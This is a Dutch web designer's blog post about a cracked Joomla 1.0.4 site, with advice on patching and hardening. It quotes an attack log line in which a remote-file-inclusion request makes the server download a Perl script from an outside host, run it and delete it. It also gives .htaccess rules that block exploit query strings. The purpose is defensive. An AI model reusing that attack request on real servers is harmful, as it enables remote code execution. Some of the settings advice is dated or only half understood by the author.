Dwarshuis Webdesigner
u bent hier: Home > joomla! > Joomla! Security - Gecracked

Joomla! Security - Gecracked

Joomla

je site is gekraakt, gehackt, gehacked, off line, vernield

Update:

Waarschuwing

als je niet van technische praat houdt, kun je dit artikel beter overslaan. Er is gelukkig ook veel niet- (of in ieder geval minder-) technische praat over websites te vinden op deze site. Hier zal ik in ieder geval de komende tijd mijn nieuwste inzichten toevoegen.

Wie/wat is er gehackt?

De eerste vraag die je jezelf moet stellen: is Joomla gehackt (= "ik") of is er een hack gepleegd op server-nivo? (= de web hosting provider). De web hosting provider dient te zorgen voor een veilige server omgeving. Jij bent verantwoordelijk voor een veilige Joomla-installatie. Als jouw Joomla installatie niet veilig is kan dat ook gevolgen hebben voor anderen (als je op een shared hosting omgeving zit). Het is niet altijd duidelijk waar het mis gegaan is. Probeer dit samen met je hosting bedrijf uit te vinden.

Gehackt (of is het 'gehacked'? Nee, het is 'gecracked')

Onlangs is het me voor het eerst gebeurd: een door mij ontworpen en geïnstalleerde site is gehackt. Hoewel, je moet eigenlijk 'gecracked' zeggen, want hackers zijn de goeien en crackers de slechten. Interessanter is dit: had het voorkomen kunnen worden? Waarom is het gebeurd?

Code

De site is door de web hosting provider uit de lucht gehaald. Ze stuurden in hun bericht aan mij de code mee waarmee dit gebeurd was:

www.xxxxxx.nl 83.16.72.126 - - [11/Jul/2006:05:11:08 +0200] "GET /index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.freewebtown.com/ alt0s/tool.gif?&cmd=cd%20/tmp/;lwp-download%20http://www.freewebtown.com /alt0s/a2.txt;perl%20a2.txt;rm%20-rf%20a2*?HTTP/1.0" 200 167 "-" "Mozilla/5.0"

Patchen!

De reden waarom het in mijn geval is gebeurd, is het feit dat ik de site niet gepatched had met de meest recente patches. Oftewel: de site draaide nog onder Joomla 1.0.4 terwijl versie 1.0.10 al uit was. Ik dacht stiekum dat het allemaal niet zo nauw kwam en omdat de site toch weinig bezoekers krijgt, deze wel niet interessant zou zijn. Dat is echter niet waar. Het aantal bezoekers maakt niet echt uit. Het feit dat de site te hacken was, wel.

Ik ga er vanaf nu scherper op toe zien dat mijn sites gepatched worden met de recentste patches.

Uitbreidingen, componenten, modules en mambots

Let ook op alle uitbreidingen, zoals Joomla componenten, modules en mambots die je geïnstalleerd hebt. De basis Joomla installatie is redelijk veilig maar al die uitbreidingen, daarvan moet je maar afwachten hoe veilig het is. Er is een lijst met daarop alle verdachte Joomla extensies (http://forum.joomla.org/index.php/topic,79477.0.html)

In het algemeen kun je stellen dat alle uitbreidingen die user-input mogelijk maken, extra risico opleveren.

Snelle test

Als je een Joomla extensie gaat gebruiken, kun je zelf een snelle test doen door te kijken of er bovenin de php-files, aan het begin van de code, het volgende is opgenomen:

defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );

Zoveel zorgen

Er zijn zoveel dingen waar je je om moet bekommeren bij beveiliging, dat het bijna niet te overzien is:

  • php safe mode (bij voorkeur OFF, evt. in combi met CGI mode);
  • register_globals (bij voorkeur OFF);
  • allow_url_fopen (liefst DISABLED);
  • open_basedir restrictions (liefst ENABLED);
  • PHP Magic Quotes (liefst ON)
  • unix file en directory permissions;
  • het tijdig patchen van je Joomla installatie;
  • een goeie .htaccess file;

Samenspel

Er zijn een aantal belangrijke partijen bij de security-zaken betrokken:

  • jijzelf;
  • de webhosting provider;
  • de joomla programmeurs;
  • de hackers;
  • in geval van 'shared hosting': andere klanten op dezelfde server als waar jij zit;

Wat ik hiermee wil zeggen, is dat je niet alles zelf in de hand hebt; je webhosting provider kan ineens voor andere settings kiezen die vervolgens jouw settings beïnvloeden. Tevens is het afhankelijk van de webhosting provider welke maatregelen jijzelf zult moeten nemen. Als je al bij een provider zit, heb je je waarschijnlijk maar te voegen naar de settings die zij gebruiken, tenzij je besluit te verhuizen. Maar dat is ook best een ingreep en veel gedoe en geregel. Heel vaak zul je er maar het beste van moeten maken, dat doen wat je kan doen, en voor de rest het lot zijn werk laten doen.

Keuzes

Je zult keuzes moeten maken:

Een keuze tussen gebruiksgemak en veiligheid: hoe veiliger hoe minder gebruikersgemak. Voorbeelden: de file permissions van de configuration.php. Laat ik die continu open staan of zet ik het elke keer dicht (oftwel je zet via ftp de rechten op 644) nadat ik het aangepast heb. Een ander voorbeeld is de .htaccess file: sta ik mezelf toe dat ik vanaf elke plek kan administreren of laat ik alleen bepaalde IP adressen toe?

Tot slot zul je een keuze moeten maken betreffende hoe je je tijd in wilt zetten. Als je wilt, kun je je er helemaal in verliezen. Je kunt er ook voor kiezen een security expert eens naar je site te laten kijken.

Back-up van je bestanden

Ik raad je aan regelmatig back-ups te maken: zorg dat je altijd een lokale back up hebt van alle files, want als je site gehackt is, kan het zijn dat er geschreven is in files. Het is ondoenlijk om alle files één voor één te controleren dus je zult of een nieuwe installatie moeten doen, of een lokale copie van je bestanden uploaden. Het handigste is als je web hosting de gelegenheid biedt om de bestanden eerst te zippen zodat je 1 bestand kunt downloaden, maar de meeste providers bieden die mogelijkheid helaas niet. Voor zover ik weet, zul je dus de hele site moeten downloaden via ftp. Dat kan wel eens een langdurige geschiedenis zijn. Of je zorgt vanaf het begin dat je alles gesynchroniseerd houdt. (Update: gebruik FTPSync, hiermee kun je lokaal en remote synchroniseren, zij het met handicaps, het lukt mij nu op lokaal gelijk te houden met remote. Andersom lukt het me niet).

Back-up van je database

Zorg ook dat je regelmatig van je database een back-ups maakt. Ik doe dat zelf via phpMyAdmin, maar je hebt ook Joomla extensies die dat doen. Ik heb er geen goede ervaringen mee maar misschien is het inmiddels verbeterd.

Eenvoudige tips om de veiligheid van je site te verhogen

-zorg dat anderen je .htaccess file niet kunnen lezen. Voeg daartoe het volgende toe aan het begin van je .htaccess file:


order allow,deny
deny from all

en test of je website nog steeds werkt

-voeg het volgende toe aan je .htacces ergens na de RewriteEngine On commando

RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
RewriteRule .* – [F]

en test of je website nog steeds werkt

Hiermee voorkom je HTTP tracking and tracing (ik weet niet precies wat het is, maar het klinkt goed)

-voeg aan het eind van je .htaccess file het volgende toe (bron:http://forum.joomla.org/index.php/topic,75376.0.html)
########## Begin - Rewrite rules to block out some common exploits # # Block out any script trying to set a mosConfig value through the URL RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR] # Block out any script trying to base64_encode crap to send via URL RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR] # Block out any script that includes a

tag in URL RewriteCond %{QUERY_STRING} (\|%3E) [NC,OR] # Block out any script trying to set a PHP GLOBALS variable via URL RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR] # Block out any script trying to modify a _REQUEST variable via URL RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2}) # Send all blocked request to homepage with 403 Forbidden error! RewriteRule ^(.*)$ index.php [F,L] # ########## End - Rewrite rules to block out some common exploits

Test je site nadat je dit gedaan hebt. (deze code is trouwens bij de laatste versies van Joomla (ik dacht vanaf 1.0.12) standaard in de .htaccess opgenomen.

-zorg ervoor dat je vanaf de front end met de wysiwyg editor geen scripts kan toevoegen (dit kun je in de meeste editors aan of uit zetten);

-ga naar de administrator van Joomla, ga naar Site - Global configuration - tabblaadje server en zet error reporting op none, (of doe het direct via de configuration.php: ($mosConfig_error_reporting = '0';) en test of je website nog steeds werkt (sommige webhosting bedrijven veranderen volgens mij de owner van files zonder overleg. Bijvoorbeeld de configuration.php. Het kan zijn dat je deze dan niet kan uploaden via ftp, permission denied. In dat geval gaat het waarschijnlijk wel via de Joomla back-end administrator. Lees meer over file rechten.

-zet de rechten van /configuration.php op 644

-verander in de /globals.php de volgende regel:

define( 'RG_EMULATION', 1 );

naar

define( 'RG_EMULATION', 0 );

en test of je site nog werkt

-maak backups, of beter gezegd, exports van je database. Lees meer over het maken van back-ups van je Joomla website.

Zoeken

Surprise!

Voor op de achtergrond

Zie ook: